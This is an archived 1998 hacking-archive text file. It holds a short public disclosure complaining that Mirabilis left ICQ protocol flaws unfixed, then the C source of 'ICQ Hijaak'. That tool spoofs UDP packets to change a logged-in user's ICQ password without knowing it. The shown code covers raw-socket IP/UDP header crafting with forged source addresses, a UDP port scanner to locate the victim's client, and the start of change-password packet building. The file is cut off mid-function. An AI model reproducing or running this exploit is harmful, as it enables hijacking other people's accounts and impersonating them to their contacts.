home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ICQHijaaking.txt < prev    next >
Text File  |  1998-07-17  |  40KB  |  969 lines

  1. The source code here pretty much says it all.  Mirabilis has been extremely
  2. negligent in fixing protocol holes, and this allows accounts to be subverted
  3. with possible leaks of information.
  4.  
  5. Merely by leaving your ICQ application logged in ( Java _or_ Win32 ) your
  6. account can be hijaaked (the password changed withoyt knowing the original).
  7. An attacker can then use that account to obtain information from people
  8. contacting you, or to do other inappropriate things which would result in
  9. the account being terminated.
  10.  
  11. I have given Mirabilis fair warning of this attack, and talked with Arik
  12. about what was necessary to fix it.  Unfortunately, with the last four versions
  13. this has not been put into place.  It would seem the only way to fix such
  14. grave problems with their protocol is to air it in the public arena.
  15.  
  16. There are no real workarounds for this problem, although there are some
  17. obvious workarounds to this exploit (left to the reader).  If you value your
  18. ICQ account, do not log into it until a fix is available.  Otherwise, you
  19. can hope no one bothers to hit your UIN --- there are a huge number and you
  20. might be lucky.
  21.  
  22.  
  23. /*
  24.  .  ICQ Hijaak
  25.  .  Version 1C
  26.  .
  27.  .  Author:  wumpus@innocent.com
  28.  .  Copyright (c) 1998 Wolvesbane
  29.  .
  30.  .  By downloading or compiling this program, you agree to the terms of this
  31.  .  license. If you do not agree with any of these terms you MUST delete this
  32.  .  program immediately from all storage areas (including browser caches).
  33.  .  (A) You agree not to use this program in any way that would constitute a
  34.  .      violate of any applicable laws.  This may included federal laws if you
  35.  .      live in the United States and similar laws regarding computer security
  36.  .      in other countries.
  37.  .  (B) You agree to hold the authors (referred to collective as Wolvesbane)
  38.  .      harmless in any damages that result due to your possession or use of
  39.  .      this software.
  40.  .  (C) Wolvesbane does not claim that this program implements any functions.
  41.  .      As the saying goes, "You get what you pay for." -- And you didn't pay
  42.  .      anything for this.
  43.  .  (D) This software is FREE for _NON-COMMERCIAL_ use.  You may not use this
  44.  .      program for any commercial use (or any other activity which makes you
  45.  .      money with the assistance of this program ).  The author is not
  46.  .      interested in commercial use of this program (and cannot think of what
  47.  .      commercial use would consist of ).
  48.  .  (E) This program was created using Linux with IP-Masquerading to run the
  49.  .      ICQ program unmodified and without any dissassembly.  The testing
  50.  .      was done with volunteers, and with a second computer logged into the
  51.  .      ICQ network.  No ICQ users were harmed in the creation or testing of
  52.  .      this program.
  53.  .  (F) This copyright applies only to the code written by Wolvesbane, and not
  54.  .      to anything included under Fair Use.
  55.  .  (G) Please note that if you use ANY sections of this code in your work,
  56.  .      (which I expressly allow as long as it is NON-COMMERCIAL), you are
  57.  .      obligated to give me some credit in your comments (if it is a source
  58.  .      file ) or in a string constant if it is a binary file.  If you do not
  59.  .      wish to do so, you may NOT include ANY portion of this file in your
  60.  .      own work.
  61. */
  62. /*
  63.  * UPDATES, for May 31, 1998
  64.  *
  65.  *    I notified Mirabilis about this bug about a month ago (which from
  66.  *    what I recall is the semi-official delay to allow a fix ).
  67.  *    In that time, Mirabilis has gone from DLL 1.22 to DLL 1.26.  This
  68.  *    exploit has been tested again 1.26 and still works.   *ooops*!
  69.  *    This exploit has rather simplistic UDP scanning code... if it doesn't
  70.  *    work (ie, against .se hosts ), then you can't hijaak them.  Sorry, but
  71.  *    I just don't care enough.
  72.  *
  73.  *    Lastly, even a Windows user can get anyone's IP from ICQ by sending a
  74.  *    message to their UIN, and doing a netstat.
  75.  *
  76.  *    With the acquistion of Mirabilis and the ICQ protocol by AOL, I will
  77.  *    no longer be playing with the ICQ protocol.  Prior to that actual event
  78.  *    you might contact me with questions on this program.
  79.  */
  80. /*
  81.  . I am indebted to the author of ICQSNIFF.C, for his clear description of
  82.  . the ICQ protocol (although it has since changed).  And for the idea as
  83.  . well.
  84.  .
  85.  . Some information came from anonymous sources and Usenet postings which
  86.  . I didn't jot down the author.  I apologize to any author who sees his/her
  87.  . ideas in here.  None of this code was "stolen".
  88.  .
  89. */
  90. /* To quote Arik:
  91.  
  92.    Arik Vardi (arik@ICQ.COM)
  93.    Mon, 15 Dec 1997 13:55:16 -0500
  94.  
  95.    Thanks for the vote of confidence.
  96.    Actualy, we don't publish the protocol since it's a work in progress
  97.    and
  98.    we still have pretty major changes from version to version.
  99.    Password encryption will be addressed in the next client release,
  100.    spoofing client messages has already been addressed in our new version
  101.    - ICQ98a, (which is not what you are using) and should not be possible
  102.    once we phase out older clients (hopfuly by the end of this month).
  103.    We apreciate your pointing out vulnrabilities to us and will do our
  104.    best
  105.    to fix them in future releases.
  106. */
  107. /*
  108.  . Guess what, Arik.  You *lied* about fixing spoofing -- and this proves it.
  109. */
  110. #include <arpa/inet.h>
  111. #include <netdb.h>
  112. #include <netinet/in.h>
  113. #include <stdarg.h>
  114. #include <stdio.h>
  115. #include <stdlib.h>
  116. #include <string.h>
  117. #include <sys/socket.h>        /* for AF_INET */
  118. #include <sys/time.h>
  119. #include <sys/types.h>
  120. #include <unistd.h>
  121. int MultiResolve( char * hostname,
  122.                 int * addr_count,
  123.                 struct in_addr ** addresses );
  124. enum { FAILURE = -1, SUCCESS = 0 };
  125. /*=========================================================================*/
  126. typedef unsigned short int      u16;
  127. typedef unsigned long int       u32;
  128. typedef unsigned char           u8;
  129. /*=========================================================================*/
  130. #define byte(v,o) (*((u8 *)(&(v))+(o)))
  131. #define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
  132. #define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
  133. unsigned char icq_check_data[256] = {
  134.         0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
  135.         0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
  136.         0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
  137.         0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
  138.         0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
  139.         0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
  140.         0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
  141.         0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
  142.         0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
  143.         0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
  144.         0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
  145.         0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
  146.         0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
  147.         0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
  148.         0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
  149.         0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
  150.         0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
  151.         0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
  152.         0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
  153.         0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
  154.         0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
  155.         0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
  156.         0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
  157.         0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
  158.         0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
  159.         0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
  160.         0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
  161.         0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
  162.         0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
  163.         0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
  164.         0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
  165.         0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
  166. #define MAX_NUM_ADDRESSES     255
  167. int Resolve( char * hostname, struct in_addr * addr ) {
  168.         struct hostent * hinfo;
  169.         (void)memset( (void *)addr, 0, sizeof( struct in_addr ));
  170.         if ( inet_aton( hostname, addr) ) return SUCCESS;
  171.         if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
  172.         (void)memcpy( (void *)addr, (void *)hinfo->h_addr,
  173.                 sizeof(struct in_addr )); return SUCCESS; }
  174. int MultiResolve( char * hostname, int * addr_count,
  175.         struct in_addr ** addresses ) {
  176.         int                     host_count;
  177.         int                     i;
  178.         char                    * p;
  179.         struct  in_addr         address;
  180.         struct  hostent         * hinfo;
  181.         if ( inet_aton( hostname, &address ) ) {
  182.                 p = (char *)malloc(sizeof(address));
  183.                 if ( !p ) {
  184.                         fprintf(stderr,"MultiResolve: Allocation failed!\n");
  185.                         return FAILURE;
  186.                 }
  187.                 (void)memcpy((void *)p,(void *)&address, sizeof(address) );
  188.                 *addr_count = 1;
  189.                 *addresses = (struct in_addr *)p; return SUCCESS; }
  190.         if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
  191.         if ( hinfo->h_length != sizeof( struct in_addr ) ) {
  192.                 fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\
  193.                         "to size of struct inaddr (%d) ",
  194.                         hinfo->h_length, sizeof(struct in_addr) );
  195.                 return FAILURE;
  196.         }
  197.         host_count = 0;
  198.         for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
  199.                 struct in_addr  * addr_ptr;
  200.                 addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
  201.                 if ( !addr_ptr )
  202.                         break;
  203.                 host_count++;
  204.         }
  205.         p = (char *)malloc( host_count * hinfo->h_length );
  206.         if ( !p ) {
  207.                 fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
  208.                         host_count * hinfo->h_length );
  209.                 return FAILURE;
  210.                 }
  211.         *addresses = (struct in_addr *)p;
  212.         for ( i = 0; i < host_count; i++ ) {
  213.                 (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
  214.                         hinfo->h_length ); p += hinfo->h_length; }
  215.         *addr_count = host_count; return SUCCESS; }
  216. #define IP_VERS         0
  217. #define IP_TOS          1
  218. #define IP_TOTLEN       2
  219. #define IP_ID           4
  220. #define IP_FLAGS        6
  221. #define IP_TIMETOLIVE   8
  222. #define IP_PROTOCOL     9
  223. #define IP_CHECKSUM     10
  224. #define IP_SRC          12
  225. #define IP_DST          16
  226. #define IP_END          20
  227. #define UDP_SOURCE      0
  228. #define UDP_DEST        2
  229. #define UDP_LENGTH      4
  230. #define UDP_CHECKSUM    6
  231. #define UDP_END         8
  232. #define UCHDR_SOURCE    0
  233. #define UCHDR_DEST      4
  234. #define UCHDR_PROTOCOL  9
  235. #define UCHDR_UDPLEN    10
  236. #define UCHDR_END       12
  237. #define ICMP_TYPE       0
  238. #define ICMP_CODE       1
  239. #define ICMP_CHECKSUM   2
  240. #define ICMP_END        4
  241. u16 cksum( u16 * buf, int numWords ) {
  242.         u32 sum;
  243.         sum = 0; while ( numWords -- ) { sum += *(buf++); }
  244.         sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
  245.         return ~sum ; }
  246.  
  247.  
  248. void make_ip_hdr(       u8      * packet, int     length, u8      protocol,
  249.          u16     id, u16     flags, struct in_addr  me,
  250.                 struct in_addr  you, u8      ttl ) {
  251.         memset( packet, 0, IP_END );
  252.         byte(*packet, IP_VERS ) = 0x45;
  253.         word(*packet, IP_TOTLEN ) = htons( length );
  254.         byte(*packet, IP_TIMETOLIVE ) = ttl;
  255.         byte(*packet, IP_PROTOCOL ) = protocol;
  256.         word(*packet, IP_ID ) = htons( id );
  257.         word(*packet, IP_FLAGS ) = htons( flags );
  258.         dword(*packet,IP_SRC ) = *((u32 *)&me);
  259.         dword(*packet,IP_DST ) = *((u32 *)&you);
  260.         word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
  261. void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,
  262.                         u16     dport ) {
  263.         u8      * udp;
  264.         static  u8      chdr[UCHDR_END];
  265.         u32     pchecksum;
  266.  
  267.         memset( chdr, 0, UCHDR_END );
  268.  
  269.         udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
  270.         memset( udp, 0, UDP_END );
  271.         word(*udp, UDP_SOURCE ) = htons( sport );
  272.         word(*udp, UDP_DEST ) = htons( dport );
  273.         word(*udp, UDP_LENGTH ) = htons( udplength );
  274.         memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
  275.         byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
  276.         word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
  277.         pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
  278.         if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
  279.         pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
  280.         + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );
  281.         word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
  282. int CreateRawSocket( void )
  283. {
  284.         int     s;
  285.         int     option;
  286.  
  287.         s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
  288.         if ( s < 0 ) { perror("Socket:"); exit(-1); }
  289.         option = 1;
  290.         if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
  291.                         (char *)&option,  sizeof( option ) ) < 0 ) {
  292.                 perror("Setting IP_HDRINCL"); exit(0); }
  293.         return s; }
  294. int GetLocalAddress( struct in_addr remote, struct in_addr * local )
  295. {
  296.         struct sockaddr_in      laddress;
  297.         struct sockaddr         * laddr = (struct sockaddr *)&laddress;
  298.         struct sockaddr_in      raddress;
  299.         struct sockaddr         * raddr = (struct sockaddr *)&raddress;
  300.         int     s;
  301.         int     err;
  302.         int     len;
  303.  
  304.         s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
  305.         if ( s < 1 ) {
  306.                 return FAILURE;
  307.         }
  308.         raddress.sin_port = htons( 1984 ); /* DON'T CARE */
  309.         raddress.sin_family = AF_INET;
  310.         raddress.sin_addr = remote;
  311.  
  312.         err = connect(s, raddr, sizeof(raddress ));
  313.         if ( err < 0 ) {
  314.                 return FAILURE;
  315.         }
  316.         len = sizeof(laddress);
  317.         err = getsockname(s, laddr, &len );
  318.         if ( err < 0 ) {
  319.                 return FAILURE;
  320.         }
  321.         *local = laddress.sin_addr;
  322.         close(s);
  323.         return SUCCESS;
  324. }
  325. int CreateICMPSocket( void )
  326. {
  327.         int s;
  328.  
  329.         s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
  330.         if ( s < 1 )
  331.                 return FAILURE;
  332.         return s;
  333. }
  334. int  SendUDP( int s, struct in_addr source, struct in_addr dest,
  335.                 u16 sport, u16 tport )
  336. {
  337.         static u8       packet[576];
  338.         struct sockaddr_in      raddress;
  339.         struct sockaddr         * raddr = (struct sockaddr *)&raddress;
  340.         int     psize;
  341.         int     err;
  342.  
  343.  
  344.         raddress.sin_port = htons( 1984 ); /* DON'T CARE */
  345.         raddress.sin_family = AF_INET;
  346.         raddress.sin_addr = dest;
  347.  
  348.  
  349.         psize = IP_END + UDP_END + 6;
  350.  
  351.         make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
  352.                 source, dest, 0x7F );
  353.  
  354.         make_udp_hdr( packet, psize - IP_END, sport, tport);
  355.  
  356.         err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
  357.         if ( err != psize ) {
  358.                 perror("Sending");
  359.                 return FAILURE;
  360.                 }
  361.         return SUCCESS;
  362. }
  363. const int       verify_secs = 2;
  364. int VerifyUDPPort( struct in_addr addr, u16 port )
  365. {
  366.         int             s_icmp;
  367.         struct timeval  start_time, end_time, wait_time;
  368.         fd_set          rdfs;
  369.         int             err;
  370.         static u8       packet[1500]; /* should be max MTU */
  371.         struct sockaddr junkaddr;
  372.         int             junksize;
  373.  
  374.         u8              * icmphdr;
  375.         u8              * fiphdr;
  376.         u8              * fudphdr;
  377.         int             len;
  378.         int             got_unreach;
  379.         struct in_addr  localaddr;
  380.         int             rawsock;
  381.         if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
  382.          perror("GetLocalAddress"); exit(-1); }
  383.         s_icmp = CreateICMPSocket();
  384.         if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }
  385.         rawsock = CreateRawSocket();
  386.         if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
  387.         FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
  388.         if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
  389.                 perror("Sending UDP packet"); exit(-1); }
  390.         got_unreach = 0; gettimeofday( &start_time, NULL );
  391.         do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
  392.                 err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
  393.                 if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
  394.                 if ( !err ) break;
  395.                 junksize = sizeof( struct sockaddr );
  396.                 err = recvfrom( s_icmp, packet, 1500, 0,
  397.                         &junkaddr, &junksize );
  398.                 if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
  399.                         exit(-1); }
  400.                 if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
  401.                    (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )
  402.                         goto check_timeout;
  403.                 len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
  404.                 icmphdr = packet + len;
  405.                 if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
  406.                    (byte(*icmphdr,ICMP_CODE ) != 3 )  )
  407.                         goto check_timeout;
  408.                 fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
  409.                 len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
  410.                 if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
  411.                    ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )   )
  412.                         goto check_timeout;
  413.                 fudphdr = fiphdr + len;
  414.                 if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
  415.                          got_unreach = 1; break; }
  416. check_timeout:
  417.                gettimeofday( &end_time, NULL );
  418.         } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
  419.         close( s_icmp ); close( rawsock);
  420.         if ( got_unreach ) return FAILURE;
  421.  else return SUCCESS;
  422.  
  423. }
  424. typedef struct  foobar
  425. {
  426.         int     next;
  427.         int     prev;
  428.         u16     rem_port;
  429.         int     times;
  430. } port_info;
  431. #define MAX_BURST       128
  432. #define UNUSED_HEAD     MAX_BURST + 1
  433. #define UNUSED_TAIL     MAX_BURST + 2
  434. #define LIVE_HEAD       MAX_BURST + 3
  435. #define LIVE_TAIL       MAX_BURST + 4
  436. #define FIRST_LPORT     55000
  437. #define SEND_COUNT      3
  438. #define NEXT(i) List[(i)].next
  439. #define PREV(i) List[(i)].prev
  440. #define PORT(i) List[(i)].rem_port
  441. #define TIMES(i) List[(i)].times
  442. int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
  443. {
  444.         int     unused_head;
  445.         int     unused_tail;
  446.         int     live_head;
  447.         int     live_tail;
  448.         int     i;
  449.         port_info       List[ LIVE_TAIL + 1 ];
  450.         int     Current[ MAX_BURST ];
  451.         int     cur_min, cur_max;
  452.         int     now_port;
  453.         int     delay;
  454.         int     my_port;
  455.         int     cur_send;
  456.         struct timeval  wait_time;
  457.         fd_set          rdfs;
  458.         int     err;
  459.         int     s_icmp, rawsock;
  460.         struct in_addr  localaddr;
  461.         *tport = 0;
  462.         if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
  463.                 perror("GetLocalAddress"); return FAILURE; }
  464.         s_icmp = CreateICMPSocket();
  465.         if ( s_icmp == FAILURE )  {
  466.                 perror("Getting ICMP socket"); return FAILURE; }
  467.         rawsock = CreateRawSocket();
  468.         if ( rawsock < 0 ) {
  469.                 perror("Getting Raw socket"); return FAILURE; }
  470.         FD_ZERO( &rdfs );
  471.         FD_SET( s_icmp, &rdfs );
  472.         List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
  473.         List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
  474.         List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
  475.         List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
  476.         List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
  477.         List[ UNUSED_HEAD ].next = UNUSED_TAIL;
  478.         List[ UNUSED_HEAD ].rem_port = 0;
  479.         for ( i = 0; i < MAX_BURST ; i++ ) {
  480.                 PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
  481.                  NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
  482.                 TIMES( i ) = SEND_COUNT; }
  483.         now_port = start;
  484.         cur_min = now_port;
  485.         cur_max = MAX_BURST;
  486.         my_port = FIRST_LPORT;
  487.         cur_send = 16;
  488.  
  489.         while ( 1 ) {
  490.                 int     cur;
  491.                 int     cnt;
  492.  
  493.                 cur_max = cur_send;
  494.                 cur_min = now_port;
  495.                 cur = List[ LIVE_HEAD ].next;
  496.                 cnt = 0;
  497.                 while ( NEXT(cur) != -1 ) {
  498.  
  499.                         if (!cur_max ) {
  500.                                 break;
  501.                         }
  502.                         cnt++;
  503.  
  504.                         if ( SendUDP(rawsock, localaddr, addr,
  505.                                 my_port, PORT(cur) ) == FAILURE ) {
  506.                                 perror("Sending UDP packet");
  507.                                 return FAILURE;
  508.                         }
  509.                         cur_max--;
  510.                         TIMES(cur)--;
  511.                         cur = NEXT(cur);
  512.  
  513.                         if ( NEXT(cur) > LIVE_TAIL ) {
  514.                                 printf("Ugh! %d \n", NEXT(cur) );
  515.                                 exit(-1);
  516.                         }
  517.  
  518.                 }
  519.  
  520.                 for ( i = 0; i < cur_max ; i ++ ) {
  521.                         int node;
  522.  
  523.                         if ( cur_min > end )
  524.                                 break;
  525.  
  526.                         node = NEXT( UNUSED_HEAD );
  527.                         if ( -1 == NEXT( node ) )
  528.                                 break;
  529.                         NEXT( UNUSED_HEAD ) = NEXT( node );
  530.                         PREV( NEXT(node) ) = UNUSED_HEAD;
  531.  
  532.                         PREV( node ) = PREV( LIVE_TAIL );
  533.                         NEXT( node ) = LIVE_TAIL;
  534.                         NEXT( PREV( node ) ) = node;
  535.                         PREV( NEXT( node ) ) = node;
  536.  
  537.                         PORT( node ) = cur_min + i;
  538.                         if ( SendUDP(rawsock, localaddr, addr,
  539.                                 my_port, cur_min+i ) == FAILURE ) {
  540.                                 perror("Sending UDP packet");
  541.                                 return FAILURE;
  542.                         }
  543.  
  544.                         Current[ i ] = node;
  545.                 }
  546.  
  547.                 if ( ( now_port >= end ) &&
  548.                      ( !cnt ) ) {
  549.                         printf("Found nothing!\n");
  550.                         return SUCCESS;
  551.                 }
  552.                 now_port += cur_max;
  553.  
  554.                 /*
  555.                  * Delay, waiting for responses.  Continue until the
  556.                  * operation times out, meaning that we waited long enough
  557.                  * for a packet..
  558.                  */
  559.                 cnt = 0;
  560.                 while ( 1 ) {
  561.                         int junksize;
  562.                         static struct sockaddr  junkaddr;
  563.                         static u8 packet[1500];
  564.                         int     len;
  565.                         u8      * icmphdr, * fiphdr, *fudphdr;
  566.                         int     got_port;
  567.                         int     cur;
  568.  
  569.                         wait_time.tv_usec = 0;
  570.                         wait_time.tv_sec = 5;
  571.                         FD_SET( s_icmp, &rdfs );
  572.                         err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );                        if ( -1 == err ) {
  573.                                 perror("UDPSCAN - Select");
  574.                                 return FAILURE;
  575.                         }
  576.                         if ( !err )  {
  577.                                 break;
  578.                         }
  579.                         junksize = sizeof( struct sockaddr );
  580.                         err = recvfrom( s_icmp, packet, sizeof(packet), 0,
  581.                                 &junkaddr, &junksize );
  582.                         if ( -1 == err ) {
  583.                                 perror("UDPSCAN - recvfrom: ");
  584.                                 exit(-1);
  585.                         }
  586.                         if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
  587.                                 (dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
  588.                                 continue;
  589.                         len =  ( byte(*packet, 0 ) & 0x0F ) * 4;
  590.                         icmphdr = packet + len;
  591.                         if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
  592.                                 (byte(*icmphdr,ICMP_CODE ) != 3 )  )
  593.                                 continue;
  594.                         fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;
  595.                         len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
  596.                         if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
  597.                                 ( (dword(*fiphdr, IP_DST ) !=
  598.                                 *((u32 *)&addr)  ) )   )
  599.                                 continue;
  600.                         fudphdr = fiphdr + len;
  601.                         got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
  602.  
  603.                         if ( ( got_port >= cur_min ) &&
  604.                                 ( got_port < (cur_min+cur_max) ) ) {
  605.                                 cur = Current[ got_port - cur_min ];
  606.  
  607.                                 PREV( NEXT(cur)  ) = PREV( cur );
  608.                                 NEXT( PREV(cur) ) = NEXT( cur );
  609.  
  610.                                 PREV( cur ) = PREV( UNUSED_TAIL );
  611.                                 NEXT( cur ) = UNUSED_TAIL;
  612.                                 NEXT( PREV( cur ) ) = cur;
  613.                                 PREV( NEXT( cur ) ) = cur;
  614.  
  615.                                 cnt++;
  616.                                 continue;
  617.                         }
  618.                         /*
  619.                          * if we get here, then it was one of the older
  620.                          * ones, so look through the array for it
  621.                          */
  622.                         cur = NEXT( LIVE_HEAD );
  623.                         while ( NEXT(cur) != -1 ) {
  624.                                 if ( PORT(cur) == got_port ) {
  625.  
  626.                                         PREV( NEXT(cur)  ) = PREV( cur );
  627.                                         NEXT( PREV(cur) ) = NEXT( cur );
  628.  
  629.                                         PREV( cur ) = PREV( UNUSED_TAIL );
  630.                                         NEXT( cur ) = UNUSED_TAIL;
  631.                                         NEXT( PREV( cur ) ) = cur;
  632.                                         break;
  633.                                 }
  634.                                 cur = NEXT(cur);
  635.                         }
  636.                         if ( NEXT(cur) == -1 ) {
  637.                                 printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
  638.                                         got_port);
  639.                         } else {
  640.                                 cnt++;
  641.                         }
  642.  
  643.                 }
  644.                 printf("[UDP Scan working] Got %d responses \n", cnt );
  645.  
  646.  
  647.                 if  ( cnt < ( (cur_send/4) * 3 ) ) {
  648.  
  649.                         cur_send /= 2;
  650.                         if ( cur_send < 16 ) {
  651.                                 cur_send = 16;
  652.                         }
  653.  
  654.                 } else {
  655.                         cur_send *= 2;
  656.                         if ( cur_send > MAX_BURST ) {
  657.                                 cur_send = MAX_BURST;
  658.                  } } cur = NEXT( LIVE_HEAD );
  659.                 while ( NEXT(cur) != -1 ) {
  660.                         if (!TIMES(cur) ) {
  661.                                 printf("SCORE!  Port is %d \n",PORT(cur));
  662.                                 close( s_icmp );
  663.                                 close( rawsock);
  664.                                 *tport = PORT(cur);
  665.                                 return SUCCESS;
  666.                         }
  667.                         cur = NEXT(cur);
  668.                 }
  669.  
  670.         }
  671.  
  672.         close( s_icmp );
  673.         close( rawsock);
  674.         return SUCCESS;
  675. }
  676. #define COMMAND_CHANGEPASSWORD  0x049C
  677. #define COMMAND_LOGOFF  0x0438
  678. #define RESPONSE_ERROR  0x00F0
  679.  
  680. int WritePacket(u8        * data_ptr,
  681.                 int     * size,
  682.                 char    * format,
  683.                 ...     )
  684.  
  685. {
  686.         u8              * ptr;
  687.         va_list         ap;
  688.         u32             dword_param;
  689.         u16             word_param;
  690.         u8              byte_param;
  691.         u8              * string_param;
  692.         int             string_length;
  693.         int             * data_length;
  694.  
  695.         ap = va_start( ap, format );
  696.         ptr = data_ptr;
  697.  
  698.         while ( *format ) {
  699.                 switch ( *format++ ) {
  700.                 case 'L':  /* dword */
  701.                         dword_param = va_arg(ap, u32 );
  702.                         *(ptr++) = dword_param & 0xFF;
  703.                         *(ptr++) = (dword_param >> 8 ) & 0xFF;
  704.                         *(ptr++) = (dword_param >> 16) & 0xFF;
  705.                         *(ptr++) = (dword_param >> 24) & 0xFF;
  706.                         break;
  707.                 case 'W': /* word */
  708.                         word_param = va_arg(ap, u16 );
  709.                         *(ptr++) = word_param & 0xFF;
  710.                         *(ptr++) = (word_param >> 8 ) & 0xFF;
  711.                         break;
  712.                 case 'B': /* Byte */
  713.                         byte_param = va_arg(ap, u8 );
  714.                         *(ptr++) = byte_param;
  715.                         break;
  716.  
  717.                 case 'S': /* ICQ string */
  718.                         string_param = va_arg(ap, u8 * );
  719.                         string_length = strlen( string_param ) + 1;
